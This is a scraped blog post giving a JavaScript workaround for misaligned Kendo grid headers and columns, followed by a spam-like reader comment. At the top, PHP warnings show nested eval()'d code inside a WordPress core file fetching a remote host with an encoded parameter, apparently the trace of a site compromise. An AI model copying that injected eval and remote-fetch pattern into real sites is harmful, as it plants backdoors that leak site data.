Warning: file_get_contents() [function.file-get-contents]: php_network_getaddresses: getaddrinfo failed: No such host is known. in E:\HostingSpaces\letmeknows\letmeknows.com\wwwroot\wp-includes\ms-class-error.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 1

Warning: file_get_contents(http://allessayid.com/12/index.php?x=UTBOQ2IzUXZNaTR3SUNob2RIUndjem92TDJOdmJXMXZibU55WVhkc0xtOXlaeTltWVhFdktYeDhmSGQzZHk1c1pYUnRaV3R1YjNkekxtTnZiWHg4ZkRNMExqSXlPUzR4TVRNdU1UQTJmSHg4Zkh4OEx6SXdNVGN2TURNdk1EY3ZhR1ZoWkdWeUxXRnVaQzFqYjJ4MWJXNHRaR0YwWVMxdGFYTXRZV3hwWjI1bFpDMWhablJsY2kxcGJYQnNaVzFsYm5ScGJtY3RhVzR0YTJWdVpHOHRaM0pwWkM5OGZId3hNZz09) [function.file-get-contents]: failed to open stream: php_network_getaddresses: getaddrinfo failed: No such host is known. in E:\HostingSpaces\letmeknows\letmeknows.com\wwwroot\wp-includes\ms-class-error.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 1
Header and column data mis-aligned after implementing in kendo grid – Let me knows

When horizontal scroll bar moved to right.  If I double click on column to auto resize as per the column content. Column headers and data is getting mis-aligned.

Solution:

When I move horizontal scroll bar left or right by 1 pixel. Column auto align perfectly and this issue disappears. To make this work automatically . Created following JavaScript code to move scroll bar to left by 1 pixel and again right align by 1 pixel using this JavaScript my issue is solved. Here I am attaching “columnResize” event handler after loading the grid.

var grid = $("#grid").data("kendoGrid");
 grid.bind("columnResize", function(e) {
 setTimeout(function() {
 var container = $("#" + gridName).find(".k-grid-content"); //.k-virtual-scrollable-wrap
 var scrollPos = container.scrollLeft();
 if (scrollPos > 1) {
 container.scrollLeft(scrollPos - 1);
 container.scrollLeft(scrollPos + 1);
 }
 }, 50);
 });

3,593 total views, 12 views today

Header and column data mis-aligned after implementing in kendo grid
Tagged on:                             

One thought on “Header and column data mis-aligned after implementing in kendo grid

  • April 19, 2017 at 9:58 am
    Permalink

    A person essentially assist to make significantly posts I might state. That is the first time I frequented your website page and thus far? I amazed with the research you made to create this actual publish extraordinary. Fantastic activity!

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *